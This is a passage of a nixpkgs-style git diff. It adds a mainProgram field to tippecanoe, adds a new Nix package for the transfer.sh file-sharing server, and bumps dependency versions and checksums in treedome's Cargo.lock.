"sha256-Wu6TSld/mxCb4CFXf2oIZpDvX/j3Ujm7Vli4kp04u7c="; }; buildInputs = [ sqlite zlib ]; @@ -32,5 +32,6 @@ stdenv.mkDerivation (finalAttrs: { license = licenses.bsd2; maintainers = with maintainers; [ sikmir ]; platforms = platforms.unix; + mainProgram = "tippecanoe"; }; }) diff --git a/pkgs/by-name/tr/transfer-sh/package.nix b/pkgs/by-name/tr/transfer-sh/package.nix new file mode 100644 index 0000000000000..d3b15ae2465bf --- /dev/null +++ b/pkgs/by-name/tr/transfer-sh/package.nix @@ -0,0 +1,36 @@ +{ lib +, fetchFromGitHub +, buildGoModule +, nix-update-script +, nixosTests +}: + +buildGoModule rec { + pname = "transfer-sh"; + version = "1.6.1"; + + src = fetchFromGitHub { + owner = "dutchcoders"; + repo = "transfer.sh"; + rev = "v${version}"; + hash = "sha256-V8E6RwzxKB6KeGPer5074e7y6XHn3ZD24PQMwTxw5lQ="; + }; + + vendorHash = "sha256-C8ZfUIGT9HiQQiJ2hk18uwGaQzNCIKp/Jiz6ePZkgDQ="; + + passthru = { + tests = { + inherit (nixosTests) transfer-sh; + }; + updateScript = nix-update-script { }; + }; + + meta = with lib; { + description = "Easy and fast file sharing and pastebin server with access from the command-line"; + homepage = "https://github.com/dutchcoders/transfer.sh"; + changelog = "https://github.com/dutchcoders/transfer.sh/releases"; + mainProgram = "transfer.sh"; + license = licenses.mit; + maintainers = with maintainers; [ ocfox pinpox ]; + }; +} diff --git a/pkgs/by-name/tr/treedome/Cargo.lock b/pkgs/by-name/tr/treedome/Cargo.lock index 2d6ec05d6e29d..7d0c30b1026ad 100644 --- a/pkgs/by-name/tr/treedome/Cargo.lock +++ b/pkgs/by-name/tr/treedome/Cargo.lock @@ -24,26 +24,27 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" dependencies = [ "crypto-common", - "generic-array", + "generic-array 0.14.7", ] [[package]] name = "ahash" -version = "0.8.3" +version = "0.8.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c99f64d1e06488f620f932677e24bc6e2897582980441ae90a671415bd7ec2f" +checksum = "77c3a9648d43b9cd48db467b3f87fdd6e146bcc88ab0180006cef2179fe11d01" dependencies = [ "cfg-if", - "getrandom 0.2.10", + "getrandom 0.2.12", "once_cell", "version_check", + "zerocopy", ] [[package]] name = "aho-corasick" -version = "1.0.4" +version = "1.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6748e8def348ed4d14996fa801f4122cd763fff530258cdc03f64b25f89d3a5a" +checksum = "b2969dcb958b36655471fc61f7e416fa76033bdd4bfed0678d8fee1e2d07a1f0" dependencies = [ "memchr", ] @@ -86,9 +87,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.75" +version = "1.0.79" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a4668cab20f66d8d020e1fbc0ebe47217433c1b6c8f2040faf858554e394ace6" +checksum = "080e9890a082662b09c1ad45f567faeeb47f22b5fb23895fbe1e651e718e25ca" [[package]] name = "arrayvec" @@ -98,13 +99,13 @@ checksum = "23b62fc65de8e4e7f52534fb52b0f3ed04746ae267519eef2a83941e8085068b" [[package]] name = "async-trait" -version = "0.1.73" +version = "0.1.77" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bc00ceb34980c03614e35a3a4e218276a0a824e911d07651cd0d858a51e8c0f0" +checksum = "c980ee35e870bd1a4d2c8294d4c04d0499e67bca1e4b5cefcc693c2fa00caea9" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] @@ -128,7 +129,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -141,6 +142,16 @@ dependencies = [ ] [[package]] +name = "atomic-write-file" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edcdbedc2236483ab103a53415653d6b4442ea6141baf1ffa85df29635e88436" +dependencies = [ + "nix", + "rand 0.8.5", +] + +[[package]] name = "autocfg" version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -169,9 +180,9 @@ checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8" [[package]] name = "base64" -version = "0.21.2" +version = "0.21.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "604178f6c5c21f02dc555784810edfb88d34ac2c73b2eae109655649ee73ce3d" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" [[package]] name = "base64ct" @@ -202,9 +213,9 @@ checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" [[package]] name = "bitflags" -version = "2.4.0" +version = "2.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4682ae6287fcf752ecaabbfcc7b6f9b72aa33933dc23a554d853aea8eea8635" +checksum = "ed570934406eb16438a4e976b1b4500774099c13b8cb96eec99f620f05090ddf" dependencies = [ "serde", ] @@ -221,14 +232,14 @@ version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] name = "brotli" -version = "3.3.4" +version = "3.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1a0b1dbcc8ae29329621f8d4f0d835787c1c38bb1401979b49d13b0b305ff68" +checksum = "516074a47ef4bce09577a3b379392300159ce5b1ba2e501ff1c819950066100f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -237,9 +248,9 @@ dependencies = [ [[package]] name = "brotli-decompressor" -version = "2.3.4" +version = "2.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b6561fd3f895a11e8f72af2cb7d22e08366bebc2b6b57f7744c4bda27034744" +checksum = "4e2e4afe60d7dd600fdd3de8d0f08c2b7ec039712e3b6137ff98b7004e82de4f" dependencies = [ "alloc-no-stdlib", "alloc-stdlib", @@ -247,9 +258,9 @@ dependencies = [ [[package]] name = "bstr" -version = "1.6.0" +version = "1.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6798148dccfbff0fae41c7574d2fa8f1ef3492fba0face179de5d8d447d67b05" +checksum = "c48f0051a4b4c5e0b6d365cd04af53aeaa209e3cc15ec2cdb69e73cc87fbd0dc" dependencies = [ "memchr", "serde", @@ -257,27 +268,27 @@ dependencies = [ [[package]] name = "bumpalo" -version = "3.13.0" +version = "3.14.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e2c3daef883ecc1b5d58c15adae93470a91d425f3532ba1695849656af3fc1" +checksum = "7f30e7476521f6f8af1a1c4c0b8cc94f0bee37d91763d0ca2665f299b6cd8aec" [[package]] name = "bytemuck" -version = "1.13.1" +version = "1.14.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17febce684fd15d89027105661fec94afb475cb995fbc59d2865198446ba2eea" +checksum = "ed2490600f404f2b94c167e31d3ed1d5f3c225a0f3b80230053b3e0b7b962bd9" [[package]] name = "byteorder" -version = "1.4.3" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" [[package]] name = "bytes" -version = "1.4.0" +version = "1.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89b2fd2a0dcf38d7971e2194b6b6eebab45ae01067456a7fd93d5547a61b70be" +checksum = "a2bd12c1caf447e69cd4528f47f94d203fd2582878ecb9e9465484c4148a8223" [[package]] name = "cairo-rs" @@ -300,7 +311,7 @@ checksum = "3c55d429bef56ac9172d25fecb85dc8068307d17acd74b377866b7a1ef25d3c8" dependencies = [ "glib-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -310,7 +321,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "599aa35200ffff8f04c1925aa1acc92fa2e08874379ef42e210a80e527e60838" dependencies = [ "serde", - "toml 0.7.6", + "toml 0.7.8", ] [[package]] @@ -350,9 +361,9 @@ dependencies = [ [[package]] name = "cfg-expr" -version = "0.15.4" +version = "0.15.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b40ccee03b5175c18cde8f37e7d2a33bcef6f8ec8f7cc0d81090d1bb380949c9" +checksum = "6100bc57b6209840798d95cb2775684849d332f7bd788db2a8c8caf7ef82a41a" dependencies = [ "smallvec", "target-lexicon", @@ -390,22 +401,22 @@ dependencies = [ [[package]] name = "chrono" -version = "0.4.26" +version = "0.4.33" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec837a71355b28f6556dbd569b37b3f363091c0bd4b2e735674521b4c5fd9bc5" +checksum = "9f13690e35a5e4ace198e7beea2895d29f3a9cc55015fcebe6336bd2010af9eb" dependencies = [ "android-tzdata", "iana-time-zone", "num-traits", "serde", - "winapi", + "windows-targets 0.52.0", ] [[package]] name = "ciborium" -version = "0.2.1" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "effd91f6c78e5a4ace8a5d3c0b6bfaec9e2baaef55f3efc00e45fb2e477ee926" +checksum = "42e69ffd6f0917f5c029256a24d0161db17cea3997d185db0d35926308770f0e" dependencies = [ "ciborium-io", "ciborium-ll", @@ -414,15 +425,15 @@ dependencies = [ [[package]] name = "ciborium-io" -version = "0.2.1" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cdf919175532b369853f5d5e20b26b43112613fd6fe7aee757e35f7a44642656" +checksum = "05afea1e0a06c9be33d539b876f1ce3692f4afea2cb41f740e7743225ed1c757" [[package]] name = "ciborium-ll" -version = "0.2.1" +version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "defaa24ecc093c77630e6c15e17c51f5e187bf35ee514f4e2d67baaa96dae22b" +checksum = "57663b653d948a338bfb3eeba9bb2fd5fcfaecb9e199e87e1eda4d9e8b240fd9" dependencies = [ "ciborium-io", "half", @@ -457,15 +468,14 @@ dependencies = [ [[package]] name = "cocoa-foundation" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "931d3837c286f56e3c58423ce4eba12d08db2374461a785c86f672b08b5650d6" +checksum = "8c6234cbb2e4c785b456c0644748b1ac416dd045799740356f8363dfe00c93f7" dependencies = [ "bitflags 1.3.2", "block", "core-foundation", "core-graphics-types", - "foreign-types", "libc", "objc", ] @@ -488,9 +498,9 @@ dependencies = [ [[package]] name = "const-oid" -version = "0.9.5" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28c122c3980598d243d63d9a704629a2d748d101f278052ff068be5a4423ab6f" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" [[package]] name = "convert_case" @@ -500,9 +510,9 @@ checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" [[package]] name = "core-foundation" -version = "0.9.3" +version = "0.9.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "194a7a9e6de53fa55116934067c844d9d749312f75c6f6d0980e8c252f8c2146" +checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f" dependencies = [ "core-foundation-sys", "libc", @@ -510,9 +520,9 @@ dependencies = [ [[package]] name = "core-foundation-sys" -version = "0.8.4" +version = "0.8.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e496a50fda8aacccc86d7529e2c1e0892dbd0f898a6b5645b5561b89c3210efa" +checksum = "06ea2b9bc92be3c2baa9334a323ebca2d6f074ff852cd1d7b11064035cd3868f" [[package]] name = "core-graphics" @@ -529,9 +539,9 @@ dependencies = [ [[package]] name = "core-graphics-types" -version = "0.1.2" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bb142d41022986c1d8ff29103a1411c8a3dfad3552f87a4f8dc50d61d4f4e33" +checksum = "45390e6114f68f718cc7a830514a96f903cccd70d02a8f6d9f643ac4ba45afaf" dependencies = [ "bitflags 1.3.2", "core-foundation", @@ -540,9 +550,9 @@ dependencies = [ [[package]] name = "cpufeatures" -version = "0.2.9" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a17b76ff3a4162b0b27f354a0c87015ddad39d35f9c0c36607a3bdd175dde1f1" +checksum = "53fe5e26ff1b7aef8bca9c6080520cfb8d9333c7568e1829cef191a9723e5504" dependencies = [ "libc", ] @@ -558,9 +568,9 @@ dependencies = [ [[package]] name = "crc-catalog" -version = "2.2.0" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9cace84e55f07e7301bae1c519df89cdad8cc3cd868413d3fdbdeca9ff3db484" +checksum = "19d374276b40fb8bbdee95aef7c7fa6b5316ec764510eb64b8dd0e2ed0d7e7f5" [[package]] name = "crc32fast" @@ -573,56 +583,52 @@ dependencies = [ [[package]] name = "crossbeam-channel" -version = "0.5.8" +version = "0.5.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a33c2bf77f2df06183c3aa30d1e96c0695a313d4f9c453cc3762a6db39f99200" +checksum = "176dc175b78f56c0f321911d9c8eb2b77a78a4860b9c19db83835fea1a46649b" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-deque" -version = "0.8.3" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce6fd6f855243022dcecf8702fef0c297d4338e226845fe067f6341ad9fa0cef" +checksum = "613f8cc01fe9cf1a3eb3d7f488fd2fa8388403e97039e2f73692932e291a770d" dependencies = [ - "cfg-if", "crossbeam-epoch", "crossbeam-utils", ] [[package]] name = "crossbeam-epoch" -version = "0.9.15" +version = "0.9.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ae211234986c545741a7dc064309f67ee1e5ad243d0e48335adc0484d960bcc7" +checksum = "5b82ac4a3c2ca9c3460964f020e1402edd5753411d7737aa39c3714ad1b5420e" dependencies = [ - "autocfg", - "cfg-if", "crossbeam-utils", - "memoffset", - "scopeguard", ] [[package]] name = "crossbeam-queue" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1cfb3ea8a53f37c40dea2c7bedcbd88bdfae54f5e2175d6ecaff1c988353add" +checksum = "df0346b5d5e76ac2fe4e327c5fd1118d6be7c51dfb18f9b7922923f287471e35" dependencies = [ - "cfg-if", "crossbeam-utils", ] [[package]] name = "crossbeam-utils" -version = "0.8.16" +version = "0.8.19" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5a22b2d63d4d1dc0b7f1b6b2747dd0088008a9be28b6ddf0b1e7d335e3037294" -dependencies = [ - "cfg-if", -] +checksum = "248e3bacc7dc6baa3b21e405ee045c3047101a49145e7e9eca583ab4c2ca5345" + +[[package]] +name = "crunchy" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a81dae078cea95a014a339291cec439d2f232ebe854a9d672b796c6afafa9b7" [[package]] name = "crypto-common" @@ -630,7 +636,7 @@ version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" dependencies = [ - "generic-array", + "generic-array 0.14.7", "rand_core 0.6.4", "typenum", ] @@ -659,17 +665,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" dependencies = [ "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "ctor" -version = "0.1.26" +version = "0.2.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6d2301688392eb071b0bf1a37be05c469d3cc4dbbd95df672fe28ab021e6a096" +checksum = "30d2b3721e861707777e3195b0158f950ae6dc4a27e4d02ff9f67e3eb3de199e" dependencies = [ "quote", - "syn 1.0.109", + "syn 2.0.48", ] [[package]] @@ -717,7 +723,7 @@ dependencies = [ "proc-macro2", "quote", "strsim", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] @@ -739,17 +745,17 @@ checksum = "836a9bbc7ad63342d6d6e7b815ccab164bc77a2d95d84bc3117a8c0d5c98e2d5" dependencies = [ "darling_core 0.20.3", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "dashmap" -version = "5.5.1" +version = "5.5.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "edd72493923899c6f10c641bdbdeddc7183d6396641d99c1a0d1597f37f92e28" +checksum = "978747c1d849a7d2ee5e8adc0159961c48fb7e5db2f06af6723b80123bb53856" dependencies = [ "cfg-if", - "hashbrown 0.14.0", + "hashbrown 0.14.3", "lock_api", "once_cell", "parking_lot_core", @@ -768,10 +774,11 @@ dependencies = [ [[package]] name = "deranged" -version = "0.3.8" +version = "0.3.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f2696e8a945f658fd14dc3b87242e6b80cd0f36ff04ea560fa39082368847946" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" dependencies = [ + "powerfmt", "serde", ] @@ -896,13 +903,14 @@ dependencies = [ [[package]] name = "embed-resource" -version = "2.2.0" +version = "2.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7f1e82a60222fc67bfd50d752a9c89da5cce4c39ed39decc84a443b07bbd69a" +checksum = "3bde55e389bea6a966bd467ad1ad7da0ae14546a5bc794d16d1e55e7fca44881" dependencies = [ "cc", + "memchr", "rustc_version", - "toml 0.7.6", + "toml 0.8.8", "vswhom", "winreg", ] @@ -930,23 +938,12 @@ checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" [[package]] name = "errno" -version = "0.3.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6b30f669a7961ef1631673d2766cc92f52d64f7ef354d4fe0ddfd30ed52f0f4f" -dependencies = [ - "errno-dragonfly", - "libc", - "windows-sys 0.48.0", -] - -[[package]] -name = "errno-dragonfly" -version = "0.1.2" +version = "0.3.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa68f1b12764fab894d2755d2518754e71b4fd80ecfb822714a1206c2aab39bf" +checksum = "a258e46cdc063eb8519c00b9fc845fc47bcfca4130e2f08e88665ceda8474245" dependencies = [ - "cc", "libc", + "windows-sys 0.52.0", ] [[package]] @@ -968,40 +965,40 @@ checksum = "0206175f82b8d6bf6652ff7d71a1e27fd2e4efde587fd368662814d6ec1d9ce0" [[package]] name = "execute" -version = "0.2.12" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "16d9a9ea4c04632c16bc5c71a2fcc63d308481f7fc67eb1a1ce6315c44a426ae" +checksum = "3a82608ee96ce76aeab659e9b8d3c2b787bffd223199af88c674923d861ada10" dependencies = [ "execute-command-macro", "execute-command-tokens", - "generic-array", + "generic-array 1.0.0", ] [[package]] name = "execute-command-macro" -version = "0.1.8" +version = "0.1.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a5fbc65a0cf735106743f4c38c9a3671c1e734b5c2c20d21a3c93c696daa3157" +checksum = "90dec53d547564e911dc4ff3ecb726a64cf41a6fa01a2370ebc0d95175dd08bd" dependencies = [ "execute-command-macro-impl", ] [[package]] name = "execute-command-macro-impl" -version = "0.1.9" +version = "0.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "55a9a55d1dab3b07854648d48e366f684aefe2ac78ae28cec3bf65e3cd53d9a3" +checksum = "ce8cd46a041ad005ab9c71263f9a0ff5b529eac0fe4cc9b4a20f4f0765d8cf4b" dependencies = [ "execute-command-tokens", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "execute-command-tokens" -version = "0.1.6" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ba569491c70ec8471e34aa7e9c0b9e82bb5d2464c0398442d17d3c4af814e5a" +checksum = "69dc321eb6be977f44674620ca3aa21703cb20ffbe560e1ae97da08401ffbcad" [[package]] name = "fancy-regex" @@ -1015,15 +1012,15 @@ dependencies = [ [[package]] name = "fastrand" -version = "2.0.0" +version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6999dc1837253364c2ebb0704ba97994bd874e8f195d665c50b7548f6ea92764" +checksum = "25cbce373ec4653f1a01a31e8a5e5ec0c622dc27ff9c4e6606eefef5cbbed4a5" [[package]] name = "fdeflate" -version = "0.3.0" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d329bdeac514ee06249dabc27877490f17f5d371ec693360768b838e19f3ae10" +checksum = "4f9bfee30e4dedf0ab8b422f03af778d9612b63f502710fc500a334ebe2de645" dependencies = [ "simd-adler32", ] @@ -1040,17 +1037,23 @@ dependencies = [ [[package]] name = "filetime" -version = "0.2.22" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4029edd3e734da6fe05b6cd7bd2960760a616bd2ddd0d59a0124746d6272af0" +checksum = "1ee447700ac8aa0b2f2bd7bc4462ad686ba06baa6727ac149a2d6277f0d240fd" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.3.5", - "windows-sys 0.48.0", + "redox_syscall", + "windows-sys 0.52.0", ] [[package]] +name = "finl_unicode" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fcfdc7a0362c9f4444381a9e697c79d435fe65b52a37466fc2c1184cee9edc6" + +[[package]] name = "fix-path-env" version = "0.0.0" source = "git+https://github.com/tauri-apps/fix-path-env-rs?rev=a355f9da4ee628404c8f884fed5dfb2bd1876488#a355f9da4ee628404c8f884fed5dfb2bd1876488" @@ -1061,9 +1064,9 @@ dependencies = [ [[package]] name = "flate2" -version = "1.0.27" +version = "1.0.28" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c6c98ee8095e9d1dcbf2fcc6d95acccb90d1c81db1e44725c6a984b1dbdfb010" +checksum = "46303f565772937ffe1d394a4fac6f411c6013172fadde9dcdb1e147a086940e" dependencies = [ "crc32fast", "miniz_oxide", @@ -1071,13 +1074,12 @@ dependencies = [ [[package]] name = "flume" -version = "0.10.14" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1657b4441c3403d9f7b3409e47575237dac27b1b5726df654a6ecbf92f0f7577" +checksum = "55ac459de2512911e4b674ce33cf20befaba382d05b62b008afc1c8b57cbf181" dependencies = [ "futures-core", "futures-sink", - "pin-project", "spin 0.9.8", ] @@ -1104,9 +1106,9 @@ checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" [[package]] name = "form_urlencoded" -version = "1.2.0" +version = "1.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a62bc1cf6f830c2ec14a513a9fb124d0a213a629668a4186f329db21fe045652" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" dependencies = [ "percent-encoding", ] @@ -1123,9 +1125,9 @@ dependencies = [ [[package]] name = "futures" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "23342abe12aba583913b2e62f22225ff9c950774065e4bfb61a19cd9770fec40" +checksum = "645c6916888f6cb6350d2550b80fb63e734897a8498abe35cfb732b6487804b0" dependencies = [ "futures-channel", "futures-core", @@ -1138,9 +1140,9 @@ dependencies = [ [[package]] name = "futures-channel" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "955518d47e09b25bbebc7a18df10b81f0c766eaf4c4f1cccef2fca5f2a4fb5f2" +checksum = "eac8f7d7865dcb88bd4373ab671c8cf4508703796caa2b1985a9ca867b3fcb78" dependencies = [ "futures-core", "futures-sink", @@ -1148,15 +1150,15 @@ dependencies = [ [[package]] name = "futures-core" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4bca583b7e26f571124fe5b7561d49cb2868d79116cfa0eefce955557c6fee8c" +checksum = "dfc6580bb841c5a68e9ef15c77ccc837b40a7504914d52e47b8b0e9bbda25a1d" [[package]] name = "futures-executor" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ccecee823288125bd88b4d7f565c9e58e41858e47ab72e8ea2d64e93624386e0" +checksum = "a576fc72ae164fca6b9db127eaa9a9dda0d61316034f33a0a0d4eda41f02b01d" dependencies = [ "futures-core", "futures-task", @@ -1176,38 +1178,38 @@ dependencies = [ [[package]] name = "futures-io" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4fff74096e71ed47f8e023204cfd0aa1289cd54ae5430a9523be060cdb849964" +checksum = "a44623e20b9681a318efdd71c299b6b222ed6f231972bfe2f224ebad6311f0c1" [[package]] name = "futures-macro" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89ca545a94061b6365f2c7355b4b32bd20df3ff95f02da9329b34ccc3bd6ee72" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "futures-sink" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f43be4fe21a13b9781a69afa4985b0f6ee0e1afab2c6f454a8cf30e2b2237b6e" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" [[package]] name = "futures-task" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76d3d132be6c0e6aa1534069c705a74a5997a356c0dc2f86a47765e5617c5b65" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" [[package]] name = "futures-util" -version = "0.3.28" +version = "0.3.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26b01e40b772d54cf6c6d721c1d1abd0647a0106a12ecaa1c186273392a69533" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" dependencies = [ "futures-channel", "futures-core", @@ -1269,7 +1271,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1286,7 +1288,7 @@ dependencies = [ "libc", "pango-sys", "pkg-config", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1300,7 +1302,7 @@ dependencies = [ "gobject-sys", "libc", "pkg-config", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1312,7 +1314,7 @@ dependencies = [ "gdk-sys", "glib-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", "x11", ] @@ -1340,6 +1342,15 @@ dependencies = [ ] [[package]] +name = "generic-array" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe739944a5406424e080edccb6add95685130b9f160d5407c639c7df0c5836b0" +dependencies = [ + "typenum", +] + +[[package]] name = "getrandom" version = "0.1.16" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1352,9 +1363,9 @@ dependencies = [ [[package]] name = "getrandom" -version = "0.2.10" +version = "0.2.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" dependencies = [ "cfg-if", "libc", @@ -1363,9 +1374,9 @@ dependencies = [ [[package]] name = "gimli" -version = "0.28.0" +version = "0.28.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6fb8d784f27acf97159b40fc4db5ecd8aa23b9ad5ef69cdd136d3bc80665f0c0" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" [[package]] name = "gio" @@ -1393,7 +1404,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", "winapi", ] @@ -1439,7 +1450,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ef4b192f8e65e9cf76cbf4ea71fa8e3be4a0e18ffe3d68b8da6836974cc5bad4" dependencies = [ "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1450,15 +1461,15 @@ checksum = "d2fabcfbdc87f4758337ca535fb41a6d701b65693ce38287d856d1674551ec9b" [[package]] name = "globset" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "759c97c1e17c55525b57192c06a267cda0ac5210b222d6b82189a2338fa1c13d" +checksum = "57da3b9b5b85bd66f31093f8c408b90a74431672542466497dcbdfdc02034be1" dependencies = [ "aho-corasick", "bstr", - "fnv", "log", - "regex", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", ] [[package]] @@ -1469,7 +1480,7 @@ checksum = "0d57ce44246becd17153bd035ab4d32cfee096a657fc01f2231c9278378d1e0a" dependencies = [ "glib-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1510,7 +1521,7 @@ dependencies = [ "gobject-sys", "libc", "pango-sys", 